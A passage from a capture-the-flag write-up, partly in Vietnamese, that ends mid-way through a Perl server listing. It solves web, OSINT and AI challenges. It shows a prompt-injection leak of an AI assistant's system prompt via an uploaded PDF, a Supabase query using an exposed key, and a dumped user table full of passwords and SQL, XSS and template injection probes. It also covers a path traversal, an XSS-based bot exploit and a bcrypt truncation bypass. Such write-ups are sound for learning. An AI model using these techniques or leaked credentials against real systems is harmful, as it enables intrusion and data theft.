proto_factory=TBinaryProtocolFactory(), trans_factory=TFramedTransportFactory()) bid = c.createBasket().id c.addToBasket(bid, "flag") flag = c.pay(bid, TOTAL_CENTS) if __name__ == "__main__": main() ``` When I run this code, I open wireshark to capture the traffic and have flag. ![image](https://hackmd.io/_uploads/B13fHQicxl.png) **Flag: ictf{l1k3_gRPC_bUt_l3ss_g0ogly}** ## Misc Sanity check and discord are free flag so I don't write it here. ### significant > The signpost knows where it is at all times. It knows this because it knows where it isn't, by subtracting where it is, from where it isn't, or where it isn't, from where it is, whichever is greater. Consequently, the position where it is, is now the position that it wasn't, and it follows that the position where it was, is now the position that it isn't. Please find the coordinates (lat, long) of this signpost to the nearest 3 decimals, separated by a comma with no space. Ensure that you are rounding and not truncating before you make a ticket. Example flag: ictf{-12.345,6.789} Author: puzzler7 This is a OSINT challenge. We have this image. ![significant](https://hackmd.io/_uploads/HJevv7i5xl.jpg) Now we will find where is it. ![image](https://hackmd.io/_uploads/Hk-9vXocgg.png) It's `sanfrancisco's sister citites`. ![image](https://hackmd.io/_uploads/rkD0YQiclg.png) ![image](https://hackmd.io/_uploads/HkeN5Qj9xx.png) **Flag: ictf{37.784,-122.408}** ### zoom > Where in the world is the red dot? Format: ictf{lat,long} rounded to three decimal places. example: ictf{12.345,-67.890} Author: Eth007 Next, OSINT challenge again. We have this image. ![beavertail](https://hackmd.io/_uploads/By9Z27sqex.png) I paste it to chatgpt and know it is `Ottawa_Macdonald–Cartier_International_Airport` ![image](https://hackmd.io/_uploads/ryNJ67oqxl.png) **Flag: ictf{45.282, -75.795}** ### tax-return > Here is a helpful ai tax return assistant. When I made it, I put a super secret flag into the system prompt. You will never find it! http://tax-return.chal.imaginaryctf.org > Author: cleverbear57 This chall is about AI prompt injection. ![image](https://hackmd.io/_uploads/ryL9kEs9gg.png) We only push pdf file to this web. When I push a pdf with content tell AI to give me flag, AI will reply me like this: ![image](https://hackmd.io/_uploads/SkHgxVo5ge.png) But when I push a pdf about blog and do not pose a problem for AI to solve, it will reply me like this: ![image](https://hackmd.io/_uploads/HkxH-Ei5ge.png) It will tell `I can't give you anything about the secret ictf{h0w_d1d_y0u_tr1ck_my_a1_@ss1st@nt?}`. **Flag: ictf{h0w_d1d_y0u_tr1ck_my_a1_@ss1st@nt?}** # Imaginary CTF - Lê Việt Hoàng - aespaFanClub ## Web ### 1. Imaginary Notes Khi tới trang web, mở tab sources của trang ra thì ta tìm được một file js trong `_next/static/chunks/app/`, Trong file có chứa một đường link tới `supabase.co` và token đăng nhập. => Truy vấn supabase đó để lấy account, hóa ra mật khẩu của admin chính là flag. ```javascript! import { createClient } from "@supabase/supabase-js"; import { writeFile } from "fs/promises"; const supabaseUrl = "https://dpyxnwiuwzahkxuxrojp.supabase.co"; const supabaseKey = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI"; const supabase = createClient(supabaseUrl, supabaseKey); async function main() { const { data, error } = await supabase.from("users").select("*"); if (error) { console.error("Error fetching users:", error); } else { await writeFile("users.json", JSON.stringify(data, null, 2)); } } main(); ``` Đây là code truy vấn. Data có được ở đây: :::spoiler ```json! [ { "id": "47721fc5-a7ea-4fc0-9df1-d8edfff504c3", "username": "dog", "password": "dog" }, { "id": "5a4d01a6-6682-40a5-9b22-8abba8740b43", "username": "test", "password": "test" }, { "id": "c45c1837-25c9-404d-bcb5-51c8b6e7e32f", "username": "asdf", "password": "asdf" }, { "id": "7c9f3f04-d201-4760-95b1-78a11e0e417b", "username": "ghj", "password": "ghj" }, { "id": "5df6d541-c05e-4630-a862-8c23ec2b5fa9", "username": "admin", "password": "ictf{why_d1d_1_g1v3_u_my_@p1_k3y???}" }, { "id": "ccbbdc35-a5c8-40b2-85bc-43e0c828d69c", "username": "adsf", "password": "asdf" }, { "id": "f4c81134-1707-4fc6-b764-d52bf5bf9b82", "username": "aaa", "password": "aaa" }, { "id": "1b2816e3-a228-49bc-8ff6-a35fd2dffbba", "username": "bob", "password": "bobbobbob" }, { "id": "15a01be6-43ed-4c3c-9b3b-e9d6ed2c7b64", "username": "testtesttestttt", "password": "testtesttestttt" }, { "id": "7da6d254-3309-4f10-9511-e01e26a3589b", "username": "admin1122", "password": "admin1122" }, { "id": "cb1cd2c4-59d0-4119-adf8-5d6dbc1426ca", "username": "", "password": "" }, { "id": "cd256421-b4f3-4546-b9b1-881557077b59", "username": "adminos", "password": "adminos" }, { "id": "5e07d992-840b-41cf-ac7b-39a0f031738f", "username": "hsw", "password": "123" }, { "id": "e32b9e2b-ae62-41ff-8a8e-fbe16a7c4622", "username": "\"\"", "password": "\"\"" }, { "id": "d01cabbf-ab26-4713-86f9-c26d2890c46c", "username": "\"'", "password": "\"'" }, { "id": "88964585-faa6-455e-bc3d-61c19069451b", "username": "aaaaaa", "password": "aaaaaa" }, { "id": "6092d86f-a4ed-46c1-917b-16ed202533e2", "username": "admin1s122", "password": "admin1122" }, { "id": "18ef2016-4130-4546-a9b4-b489348be583", "username": "qwdqwd", "password": "" }, { "id": "a4584066-3ead-476c-9b5d-7ac7a0eb0e5c", "username": "smiles", "password": "smiles" }, { "id": "53a0ba74-173d-46a3-ac69-40630aca1dad", "username": "Yzabel", "password": "yzaaa22" }, { "id": "c7b1c7c9-4a3f-4290-b6a0-2b2c3b155615", "username": "asdf'", "password": "asdf" }, { "id": "54ac4f04-a7dd-4d58-993f-4dedd8f8c4d3", "username": "asdf\"", "password": "asd" }, { "id": "7317d9e9-39ca-41be-9288-c639e81f0dd8", "username": "chaos1", "password": "123123" }, { "id": "93406f4d-8a50-4004-ae08-7f25b3f98ab0", "username": "a", "password": "b" }, { "id": "30456ce7-64f2-4108-9617-4557e3c1ad51", "username": "aaaa", "password": "a" }, { "id": "2b08063b-223e-4dad-a681-3d279bac17a5", "username": "dd", "password": "dd" }, { "id": "1c6f1067-dd7d-4ecd-9385-b4162b8a1c43", "username": "hihi1@gmail.com", "password": "hihi1@gmail.com" }, { "id": "126a6c7c-17d9-439f-89d8-d39dac3ce36f", "username": "admin1", "password": "admin2" }, { "id": "39eab988-1d40-4b58-a686-c5cd5c709bde", "username": "NJptqZEm", "password": "r9K!z7m!L9" }, { "id": "eb3df1ed-193e-4245-8d89-f563cbb503fc", "username": "zurWDKzR", "password": "z5S!w5c!X1" }, { "id": "199b5997-f61e-4230-860c-48cd6790dec8", "username": "l", "password": "l1" }, { "id": "5f70070a-79b9-4da7-a055-80c0162486e5", "username": "BMhxewgN", "password": "r1N!c3d!M8" }, { "id": "9f47350e-f557-49bf-b6f1-3c4b669d2e6d", "username": "PkztmaER", "password": "p7C!y6u!P3" }, { "id": "a96afc13-fe79-4f21-8eea-ec6145772a9d", "username": "winky", "password": "12345678" }, { "id": "d32c7bb5-d1a8-486d-9442-66b652826819", "username": "q", "password": "q" }, { "id": "9d1a64ad-ad07-4422-a749-9d034cbc4214", "username": "cea", "password": "cea" }, { "id": "8e6f9331-741b-4877-b515-553d2fc7412a", "username": "jk", "password": "abcabcabc" }, { "id": "af77f860-5ee9-4ecd-8745-05bcfaaeac3c", "username": "123", "password": "123" }, { "id": "32d02f76-54a8-42ad-8553-4a1502b8c9ad", "username": "[]", "password": "[]" }, { "id": "6415cc77-3818-4064-b041-bd9bbc4af276", "username": "ojok", "password": "kkk" }, { "id": "4a29b6db-1e1e-4a39-bdbc-ea5116060184", "username": "eqweq", "password": "12123123" }, { "id": "54328155-5134-4969-b69e-c6229231cd3f", "username": "ss", "password": "ss" }, { "id": "4dd305f3-b4da-41aa-abc8-3326b8341e83", "username": "whatsup", "password": "whatsup" }, { "id": "196a52cb-6bf0-457d-a73d-647a16e90985", "username": "<p style=\"red\">whatsup</p>", "password": "whatsup" }, { "id": "d40e71b2-f6bb-4b86-86f4-56c6ac8838e7", "username": "aa", "password": "aa" }, { "id": "ffd0105c-549e-4f83-810a-fe17e3f88c2e", "username": "phughj", "password": "1" }, { "id": "a8ad7c71-a014-4cbf-810e-f86654e34918", "username": "hi", "password": "hi" }, { "id": "62e69561-d579-49a9-a6f1-c484b5b56363", "username": "asd", "password": "asd" }, { "id": "51841c35-6333-4a65-a28b-29116fc1f090", "username": "admin ", "password": "flag " }, { "id": "b42e3859-4490-4247-9b93-6bd351475507", "username": "admin ", "password": "flag " }, { "id": "1006302c-036a-4089-8021-1cc4e57b874d", "username": "aaaaaaaaaaaaaaaaaa", "password": "aaaaaaaaaaaaaaaaaa" }, { "id": "02bdf58c-c99e-4861-b8e3-c9ab43411e9e", "username": "admin ", "password": "flag" }, { "id": "3e24ea43-5693-4626-a88c-302803b1f7d6", "username": "' OR 1=1 --", "password": "' OR 1=1 --" }, { "id": "c811cf83-33ad-4038-b2e0-acb53b3709ad", "username": "'", "password": "aa" }, { "id": "cd69fcac-8acd-4dc2-9ff6-5d3fce77aed7", "username": "hola", "password": "hola" }, { "id": "22327665-b8c9-4514-9bf5-0b6b61b3035e", "username": "admin' union select 1 from pg_sleep(5)", "password": "ooo" }, { "id": "33bfa412-21c8-41c9-8534-1882cc2068a2", "username": "poop", "password": "poop" }, { "id": "c8dd6c4a-1742-4ba5-bbc5-bb2096cd19d0", "username": "poo", "password": "poo" }, { "id": "b187f610-2e45-4f05-8943-56981230f1dc", "username": "_ga", "password": "123" }, { "id": "5a6a502f-155f-4155-b011-89ffd2e24bee", "username": "a' OR 1=1 -- -", "password": "a" }, { "id": "eeb55fbc-b8c3-4578-a828-6b790f94be85", "username": "mm", "password": "557" }, { "id": "818ec3c4-370e-438e-8a0d-615a05fb2f28", "username": "test141", "password": "password" }, { "id": "f8e5c9ca-71c9-49cb-abd0-cb5912d76174", "username": "user", "password": "user" }, { "id": "441d2937-cd9e-455f-b8bd-0f0c9a20c27b", "username": "manini", "password": "manini1932" }, { "id": "fba11c45-0e5f-4e85-a87a-ddd9cf5b47bc", "username": "minhle", "password": "1234" }, { "id": "c86ce024-a892-4b90-90bb-e802c102a1cf", "username": "shirley", "password": "shirley" }, { "id": "62aec629-921d-4318-836d-15cb45489800", "username": "jayce", "password": "123" }, { "id": "85fed9e8-46ed-4c96-b231-2d65817a9b11", "username": "admin' OR '1'='1'-- -", "password": "1234" }, { "id": "9da909db-76a8-418b-b11b-5e3185d9dbdc", "username": "aaaaaaaa", "password": "aaaaaaaa" }, { "id": "9a372965-a91b-467e-b0f3-055cbfe7b66f", "username": "test11", "password": "test" }, { "id": "ef1bd532-7f1b-4561-aebf-1c580b7e1d0b", "username": "\" or '1'='1' -- ", "password": "' or '1'='1' -- " }, { "id": "df119087-7dd3-4e38-8e07-a999aef855f2", "username": "test123", "password": "test" }, { "id": "f92918d6-e804-411b-96ac-4002e70f030f", "username": "12345678", "password": "12345678" }, { "id": "25e0a4be-31a3-4d58-a4bb-c62fcfc0560c", "username": "aaaaaaaaaaa", "password": "aaaaaaaaaa" }, { "id": "ccf6d68a-8389-4739-967c-de668cfe1278", "username": "asdasd", "password": "admin" }, { "id": "a2b8a5d8-2f90-4b97-a036-f1d0d08483e7", "username": "meow", "password": "meow" }, { "id": "8215aadf-177d-4664-ad94-cc078b22d553", "username": "meow'", "password": "meow'" }, { "id": "304fde2f-1441-4c25-870f-8bb975159dd5", "username": "fuck", "password": "fuck" }, { "id": "c0f5dd02-235a-4955-a9d6-7c4c116efc9a", "username": "umassdevops69420", "password": "umassdevops69420" }, { "id": "21a2e6a5-9792-445c-95fd-07e80f6d9c0c", "username": "minyellsithu", "password": "minyellsithu" }, { "id": "1151bcef-8db8-4c10-901b-1bf77b81efa1", "username": "teste", "password": "admin" }, { "id": "5778861c-0fe3-4b8c-9df0-b3611e971b9a", "username": "minyellsithu'", "password": "minyellsithu'" }, { "id": "a7a29c80-2112-4f53-b6f3-171e2557c355", "username": "{{7*7}}", "password": "{{7*7}}" }, { "id": "a408ad5f-6b6c-4a3a-8486-5402a84bb7c4", "username": "adminaaa", "password": "superbase" }, { "id": "91834166-8d7a-43b4-adeb-e31796cfad95", "username": "asdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", "password": "aaaa" }, { "id": "39d00da6-4d48-4d2e-91c2-c0d93847c571", "username": "asd123321", "password": "a" }, { "id": "51307ac2-3bed-4dcf-9777-eff5d6a160e4", "username": "testuser2", "password": "testuser2" }, { "id": "f831fb47-1cf9-4054-985f-6f9bd89cf8b5", "username": "admin'-- -", "password": "a" }, { "id": "440855b8-86a0-4be7-87dc-94c4b9334958", "username": "admin\"", "password": "admin' OR '1'='1" }, { "id": "7f56053b-a0fe-42c0-83cd-856d0e32d747", "username": "{% 7*7 %} {{ 7*7 }} ${ 7*7 } *{ 7*7 } { 7*7 }", "password": "" }, { "id": "98342f00-5184-4854-8853-a3252971710f", "username": "admin ", "password": "ed" }, { "id": "98df65b7-3b09-426a-ac4c-b14a323ef7b0", "username": "admin%20", "password": "ed" }, { "id": "d745584d-b513-4e08-9a5b-0e321671d3bf", "username": "abc", "password": "12345678" }, { "id": "51beef5f-78b5-4432-8132-646ae30b8d77", "username": "lmao", "password": "lmao" }, { "id": "f86a2c48-ab82-480a-96af-8b469a76cad3", "username": "pricetagtpot", "password": "pricetagtpot" }, { "id": "b392cd58-3ec7-4b21-9c5a-d2a03b8d1c12", "username": "'OR 1=1;--", "password": "'OR 1=1;--" }, { "id": "503a42c5-adc8-423a-80ce-1600e2081fc8", "username": "slmao", "password": "lma" }, { "id": "628e6a53-82fb-4c4b-bbf5-ac388c903cc6", "username": "guests", "password": "guests" }, { "id": "f5c9831b-00a1-4d8b-bd16-b6ed36a06de7", "username": "hihi", "password": "123456" }, { "id": "be6112c4-3f08-4e62-8ab1-23681c454fba", "username": "uzi", "password": "uzi" }, { "id": "c4b2faa0-98ef-4d13-947b-ab5ef7539d88", "username": "eodoekdoke", "password": "okeodkoedededededed" }, { "id": "35d86ced-eda3-4211-a8a2-856d23c00102", "username": "admin' or 1=1--", "password": "123" }, { "id": "0f8263d5-7d48-46ef-a850-3a915aa6fe5d", "username": "users", "password": "users" }, { "id": "cd7904d9-4d9b-45ba-b8b1-8d1e6e605177", "username": "guest", "password": "guest" }, { "id": "64ecdc3d-4782-4d48-b409-90ad3656d608", "username": "mergil", "password": "mergil" }, { "id": "867cee30-df0a-4f08-86d8-d91f609aa13b", "username": "username", "password": "password" }, { "id": "47e0cd43-127a-4459-956d-889eeb1f804b", "username": "piyo", "password": "piyopiyo" }, { "id": "66dfa006-7adb-4780-9683-d56880a01de6", "username": "hello", "password": "super" }, { "id": "ad245d19-0a1d-4cd3-be87-44e9559c5d5d", "username": "obscura", "password": "heloopassword" }, { "id": "bbab7d12-a566-4899-b1a6-900ee57e6487", "username": "' UNION SELECT name FROM sqlite_master--", "password": "a" }, { "id": "58687295-4d4b-4c38-a266-aac97d4e4dd5", "username": "john", "password": "john" }, { "id": "5cc55b86-a165-4c3f-82bd-d49eb5daf069", "username": "' UNION SELECT flag FROM users--", "password": "' UNION SELECT flag FROM users--" }, { "id": "80ad48bf-439e-409c-b2e8-160a8f672026", "username": "hihihaha", "password": "hihihaha" }, { "id": "17c799ed-73f4-4ce5-9096-0822ed6ac1c4", "username": "ggg'", "password": "gggg" }, { "id": "084547a2-553e-417c-9306-469dc96bd3b6", "username": "test@gmail.com' OR 1=1 --", "password": "\" OR 1=1 --" }, { "id": "dc8b0c71-06ae-4ba0-8f69-99f2d5957379", "username": "<h1>test@gmail.com</h1>", "password": "12345678" }, { "id": "2ad42e0c-b6c7-487a-8e25-484f0d79e6e3", "username": "ass", "password": "ass" }, { "id": "93f9b791-e521-4723-b8f1-f414dee38900", "username": "test12jfu21", "password": "lkfejufhejrfn" }, { "id": "74cbad41-1d29-47d9-9a1f-3c0329e64961", "username": "dangnosuy", "password": "dangnosuy" }, { "id": "36b450d3-e5d5-422b-a688-3e59b850f962", "username": "yuu", "password": "123" }, { "id": "b9e3dbee-7956-4614-88c7-a3028a5e3803", "username": "xinchaomoinguoi", "password": "xinchao" }, { "id": "4e88b874-dd1d-41b9-9ebe-b34715ba7bf6", "username": "apacb", "password": "apacb" }, { "id": "b0c1e943-58a5-46db-99c8-adcc0e5d8f7d", "username": "testusername", "password": "testgggggg" }, { "id": "81a935d7-96af-4bc9-88cc-467fed89294f", "username": "Admin", "password": "admin" }, { "id": "c31c78af-be01-4035-848c-05957c51c55f", "username": "assass", "password": "assass" }, { "id": "0186eb27-b97f-460d-8035-8e00a64cb7f2", "username": "seha", "password": "shea" }, { "id": "f820baea-c39a-4b4f-ae10-5d19c5cf12c4", "username": "a1a1a", "password": "a" }, { "id": "19663968-c351-4b04-9ca0-39d0e3552e6d", "username": "test1", "password": "123456789" }, { "id": "8c5b6679-8bfe-4792-9961-0f013f89a9c8", "username": "asdfasdf", "password": "asdf" }, { "id": "6066ffa6-7fca-4d5b-b370-c44746a264da", "username": "Husan", "password": "Muhiddinov07$" }, { "id": "df486f9e-6da7-44f4-a30a-221c05f512e0", "username": "1", "password": "1" }, { "id": "b6d2c0be-74cf-4f99-9492-d097e8621300", "username": "halakaaaaa", "password": "sad123" }, { "id": "ee2a9feb-6a33-403f-acda-f69d634a6dc8", "username": "testazerty", "password": "azerty" }, { "id": "8953bca0-4d94-43a7-a3e5-b7dd2f68ed2c", "username": "testazerty2", "password": "azerty" }, { "id": "f1f82211-37d3-45fc-b860-87ab3f3277af", "username": null, "password": null }, { "id": "65cac181-2395-42c1-a76e-52582d977763", "username": "testazerty4", "password": "azerty" }, { "id": "605ef0df-d881-4353-af73-1751a9faa824", "username": "testazerty3", "password": "azerty" }, { "id": "681dc2a5-a06e-4346-83d3-ecd6ad8acf69", "username": "haha123", "password": "haha123" }, { "id": "c7bfe619-097d-47fd-a870-f97ec30c96ac", "username": "jerry", "password": "jerry" }, { "id": "0df8b2de-a3a9-4e61-b370-2829b05d173d", "username": "mtest", "password": "12345678" }, { "id": "4a8328bf-8628-416d-aafc-e1c68fa54989", "username": "tester", "password": "tester" }, { "id": "ced05e12-15bd-4c36-a600-a12ea5f07670", "username": "test123456", "password": "test" }, { "id": "95d3ee87-b44b-417c-8534-b66807acc382", "username": "asdasdasdasd", "password": "asd" }, { "id": "39e6dd34-1b69-45f1-bf4f-d0ff58ec4740", "username": "lolada", "password": "lolada" }, { "id": "df225551-86c5-46c7-9835-650cacd805d5", "username": "<img/src=x onerror=alert(1)>", "password": "asd" }, { "id": "c10765f6-6614-4a89-a95c-423b14ea169b", "username": "testa", "password": " ' OR 1=1 --" }, { "id": "2f875009-a53c-4061-9df3-441edbdb7c83", "username": "zxcvzxcv", "password": "zxcvzxcv" }, { "id": "d16c2907-5cf1-436f-98f5-8a881819d250", "username": "hello123456", "password": "hello" }, { "id": "68680b60-ef6f-4865-aff4-3d0458d0703e", "username": "xtro", "password": "xtroxtro" }, { "id": "278a3a0e-778a-4226-92e4-9d84f3a120e1", "username": "testownik", "password": "testownik" }, { "id": "3df3a85a-37b3-4f19-8ed9-5a6038c59542", "username": "joe", "password": "mame" }, { "id": "48ca8180-2826-4e31-a485-3e8ebd08d12c", "username": "aaaaa", "password": "aaaaa" }, { "id": "f1a34ce0-5eb3-4a33-bd9b-6964f7936ac3", "username": "tweey", "password": "Password123!" }, { "id": "bb1c3d1b-d4b5-4b64-96a8-15f38ca8af04", "username": "qwer1234", "password": "qwer1234" }, { "id": "db93f94f-b5a3-4531-b709-6769542d3fd4", "username": "mtest2", "password": "12345678" }, { "id": "2639fc96-17b0-442b-8b0f-878b09f23b6e", "username": "admin'--", "password": "a" }, { "id": "f8371d17-0d1e-4c34-9729-9a962970de30", "username": "testest", "password": "admin" }, { "id": "a013297e-6ba7-43eb-aa54-23f1bdfbdd89", "username": "test2", "password": "test" }, { "id": "438ffee3-9620-470d-8ab3-e97f54744613", "username": "marios", "password": "marios" }, { "id": "b7974b27-0d43-4a0b-be67-3bd589ef7a9a", "username": "gaga", "password": "gaga" }, { "id": "a0b58b6b-ce1a-4fac-9b47-7092d416cbcc", "username": "admin'", "password": "admin'" }, { "id": "39f22c54-5082-4a50-af55-d795b2fca4ca", "username": "toto", "password": "toto" }, { "id": "51c57512-70d0-4a42-b73d-c00d6d9c7d6d", "username": "'fdsaf\"Fa", "password": "'fdasf\"Fdsafs" }, { "id": "9ced566b-e6b8-48c0-b4e2-8e9575c20565", "username": "Niger", "password": "niger" }, { "id": "433915cc-525f-4180-ac7f-0ca0d9770377", "username": "' or 1=1;--", "password": "1" }, { "id": "d2b8e31c-1d7e-4128-9baf-2395aa476010", "username": "userss", "password": "userss" }, { "id": "35c8b398-e8ce-4876-9e91-b0e1e2dd4fa8", "username": "admin123", "password": "1" }, { "id": "5d7d0457-b932-4e44-ae23-24c789ff331f", "username": "{{2*7}}", "password": "1" }, { "id": "dd4d1a63-55cb-4a3a-85de-6a478dec5265", "username": "xxxxxxxx", "password": "xxxxxxxx" }, { "id": "e20c62ac-ba83-4dcc-af30-6c128f779306", "username": "xxxxxxxx'", "password": "xxxxxxxx" }, { "id": "d9e75679-729f-469d-9479-6583182c3251", "username": "222", "password": "1" }, { "id": "ac522f0f-5489-4f0e-acc0-0f53544678b9", "username": "{\"foo\":\"bar\"}", "password": "xxxxxxxx" }, { "id": "bf0e68ee-1a14-4f69-ba51-5a216e3e0209", "username": "hoge' ORDER BY 1 -- ", "password": "hogehoge" }, { "id": "ba7f0e61-6199-40be-b651-4968075513de", "username": "\"", "password": "xxxxxxxx" }, { "id": "061b5734-da9f-48c2-bd4d-506c2634e606", "username": "'; -- ", "password": "xxxxxxxx" }, { "id": "e710a699-a520-4e7c-9815-599a4efd552c", "username": "'; -- # ", "password": "xxxxxxxx" }, { "id": "c599281e-d348-49e1-aa4e-ba1f4aa4510e", "username": "'; -- # ascacs", "password": "xxxxxxxx" }, { "id": "a6ae89ac-fe01-48ad-896b-2b24954060d2", "username": "'; -- # ascacsascascasc", "password": "xxxxxxxx" } ] ``` ::: ### 2. codenames #### flag thứ nhất Trang web là một game hai người chơi, bàn chơi là một bảng gồm các ô có màu khác nhau, một người sẽ đoán màu của ô và một người đã biết màu của các ô sẽ cho gợi ý để người kia đoán. Trong phần thiết lập bàn chơi có đoạn: ```python! @app.route('/create_game', methods=['POST']) def create_game(): ... # generate unique code while True: ... # prepare game with selected language word list # determine language (default to first available) language = request.form.get('language', None) if not language or '.' in language: language = LANGUAGES[0] if LANGUAGES else None # load words for this language word_list = [] if language: wl_path = os.path.join(WORDS_DIR, f"{language}.txt") try: app.logger.info(f"Loading wordlist: {wl_path}") with open(wl_path) as wf: word_list = [line.strip() for line in wf if line.strip()] except IOError as e: app.logger.error(f"Error loading wordlist: {e}") word_list = [] # fallback if needed if not word_list: word_list = [] # pick 25 random words words = random.sample(word_list, 25) if len(word_list) >= 25 else random.sample(word_list * 25, 25) ... return redirect(url_for('game_view', code=code)) ``` Mặc dù được kiểm tra `.` để tránh path traversal, ta vẫn có thể thực hiện được như sau: Với lệnh `os.path.join`, nếu có bất kỳ thành phần nào là đường dẫn tuyệt đối (bắt đầu bằng `/`) thì sẽ tự động bỏ qua mọi đường dẫn phía trước và sử dụng đường dẫn tuyệt đối đó. Tức nếu ta thay đổi language thành `/<path>`thì không cần `.`, vẫn dùng được path traversal. Khi đó, ta có thể nhảy ngay đến flag1 ở đường dẫn `/flag.txt` (`language=/flag`), ta có được flag hiển thị trên bàn chơi. #### flag thứ hai Flag thứ hai chỉ được in khi ta chơi với bot và thắng ở chế độ hardmode, tức ta phải chọn chính xác các ô có màu trùng màu với màu đội ta được gán. Bot mặc định chỉ gợi ý potato, không có ý nghĩa gì cả, vì vậy, ta sử dụng xss để khai thác thông tin về bot. Nhận thấy rằng, khi render màn chơi, có đoạn: ```javascript! function renderBoard() { ... for (var i = 0; i < board.length; i++) { ... cell.innerHTML = word; ... } ... } ``` Nghĩa là, nếu ta điều khiển được word, ta có khả năng xss. Mà word được sinh ở đoạn code ban nãy, phần language. Vậy liệu ta có cách nào để truyền cho server một file txt của ta hay không? ```python! def save_profile(profile): path = os.path.join(PROFILES_DIR, profile['username']) with open(path, 'w') as f: json.dump(profile, f) @app.route('/register', methods=['GET', 'POST']) def register(): username = request.form.get('username', '').strip().replace('/', '') ... profile = {'username': username, 'password_hash': pw_hash, 'wins': 0, 'is_bot': is_bot} save_profile(profile) ... return redirect(url_for('lobby')) ``` Ta có thể thấy, việc upload file và tùy chỉnh nội dung file là khả thi thông qua username. Vậy ta chỉ cần sử dụng username để tạo file xss rồi trỏ language tới file lưu username trên hệ thống, ta sẽ xss thành công, tạo webhook để lấy data và chơi theo đó ta sẽ qua màn và có flag2. ### Passwordless Ở bài trên, ta phải tìm cách vào được dashboard của user bất kỳ để lấy flag, tuy nhiên, việc đăng ký tài khoản khá khó vì server sẽ tự tạo mật khẩu và send nó qua email (nhưng send email lại đang ở trạng thái TODO), vì vậy, ta phải tìm cách lấy mật khẩu mà không cần có email thông báo. ```javascript! app.post('/user', limiter, (req, res, next) => { if (!req.body) return res.redirect('/login') const nEmail = normalizeEmail(req.body.email) if (nEmail.length > 64) { req.session.error = 'Your email address is too long' return res.redirect('/login') } const initialPassword = req.body.email + crypto.randomBytes(16).toString('hex') bcrypt.hash(initialPassword, 10, function (err, hash) { if (err) return next(err) const query = "INSERT INTO users VALUES (?, ?)" db.run(query, [nEmail, hash], (err) => { if (err) { if (err.code === 'SQLITE_CONSTRAINT') { req.session.error = 'This email address is already registered' return res.redirect('/login') } return next(err) } // TODO: Send email with initial password req.session.message = 'An email has been sent with a temporary password for you to log in' res.redirect('/login') }) }) }) ``` Ta sẽ thấy thứ ta có thể dùng ở đây: Thứ nhất là hàm normalize, nó sẽ làm thay đổi tham số email ban đầu của chúng ta. Điều kiện kiểm tra độ dài sau đó cũng dùng cái này. Tuy nhiên ở phần tạo mật khẩu, chương trình lấy y nguyên tham số email ban đầu của chúng ta, cộng với một chuỗi byte random, điều này gây ra mất đồng bộ trong bước kiểm tra phía trên. Ở hàm normalize, ta có một file khá đơn giản như sau: :::spoiler ```javascript= 'use strict'; var PLUS_ONLY = /\+.*$/; var PLUS_AND_DOT = /\.|\+.*$/g; var normalizeableProviders = { 'gmail.com': { 'cut': PLUS_AND_DOT }, 'googlemail.com': { 'cut': PLUS_AND_DOT, 'aliasOf': 'gmail.com' }, 'hotmail.com': { 'cut': PLUS_ONLY }, 'live.com': { 'cut': PLUS_AND_DOT }, 'outlook.com': { 'cut': PLUS_ONLY } }; module.exports = function normalizeEmail(eMail) { if (typeof eMail != 'string') { throw new TypeError('normalize-email expects a string'); } var email = eMail.toLowerCase(); var emailParts = email.split(/@/); if (emailParts.length !== 2) { return eMail; } var username = emailParts[0]; var domain = emailParts[1]; if (normalizeableProviders.hasOwnProperty(domain)) { if (normalizeableProviders[domain].hasOwnProperty('cut')) { username = username.replace(normalizeableProviders[domain].cut, ''); } if (normalizeableProviders[domain].hasOwnProperty('aliasOf')) { domain = normalizeableProviders[domain].aliasOf; } } return username + '@' + domain; } ``` ::: Một trường hợp nếu email kết thúc bằng gmail.com, nó sẽ cắt hết phần từ đấu `+` đến dấu `@`, vì vậy, nếu cần tăng độ dài của mật khẩu vượt qua 64, ta chỉ cần chèn payload bất kỳ vào khoảng giữa này. Và hàm bcrypt.hash và các hàm khác nữa, nó sẽ chỉ lấy tối đa 72 bytes đầu, vì vậy nếu ở mật khẩu, phần email ta dài quá 72 bytes này thì phần random phía sau có cũng như không. ```javascript! const bcrypt = require('bcrypt'); const normalizeEmail = require('normalize-email'); // Test bcrypt with a password longer than 72 bytes const password = 'ThisIsMySuperSuperLongAndVerySecurePasswordThatIsCertainlyOver72BytesLong'; console.log('Password:', password, 'Length:', password.length); bcrypt.hash(password, 10, function(err, hash) { if (err) throw err; console.log('Hash:', hash); bcrypt.compare(password+'1', hash, function(err, res) { if (err) throw err; console.log('Password matches:', res); // Should be false } ); }); // Test normalize-email with various email formats const email = "youaremy+shadow@gmail.com"; const normalizedEmail = normalizeEmail(email); console.log('Original Email:', email); console.log('Normalized Email:', normalizedEmail); ``` Nghĩa là đặt một cái email có độ dài trên 72 bytes, trong đó phần lớn độ dài giấu trong phần + và @ là được. ví dụ: `email+ThisIsMySuperSuperLongAndVerySecurePasswordThatIsCertainlyOver72BytesLong@gmail.com` ### pearl Bài này ban đầu mình khá là rối, vì chưa đọc qua ngôn ngữ perl lần nào. :::spoiler ```perl= #!/usr/bin/perl use strict; use warnings; use HTTP::Daemon; use HTTP::Status; use File::Spec; use File::MimeInfo::Simple; # cpan install File::MimeInfo::Simple use File::Basename; use CGI qw(escapeHTML); my $webroot = "./files"; my $d = HTTP::Daemon->new(LocalAddr => '0.0.0.0', LocalPort => 8080, Reuse => 1) || die "Failed to start server: $!"; print "Server running at: ", $d->url, "\n"; while (my $c = $d->accept) { while (my $r = $c->get_request) { if ($r->method eq 'GET') { my $path = CGI::unescape($r->uri->path); $path =~ s|^/||; # Remove leading slash $path ||= 'index.html'; my $fullpath = File::Spec->catfile($webroot, $path); if ($fullpath =~ /\.\.|[,\`\)\(;&]|\|.*\|/) { $c->send_error(RC_BAD_REQUEST, "Invalid path"); next; } if (-d $fullpath) { # Serve directory listing opendir(my $dh, $fullpath) or do { $c->send_error(RC_FORBIDDEN, "Cannot open directory."); next; }; my @files = readdir($dh); closedir($dh); my $html = "<html><body><h1>Index 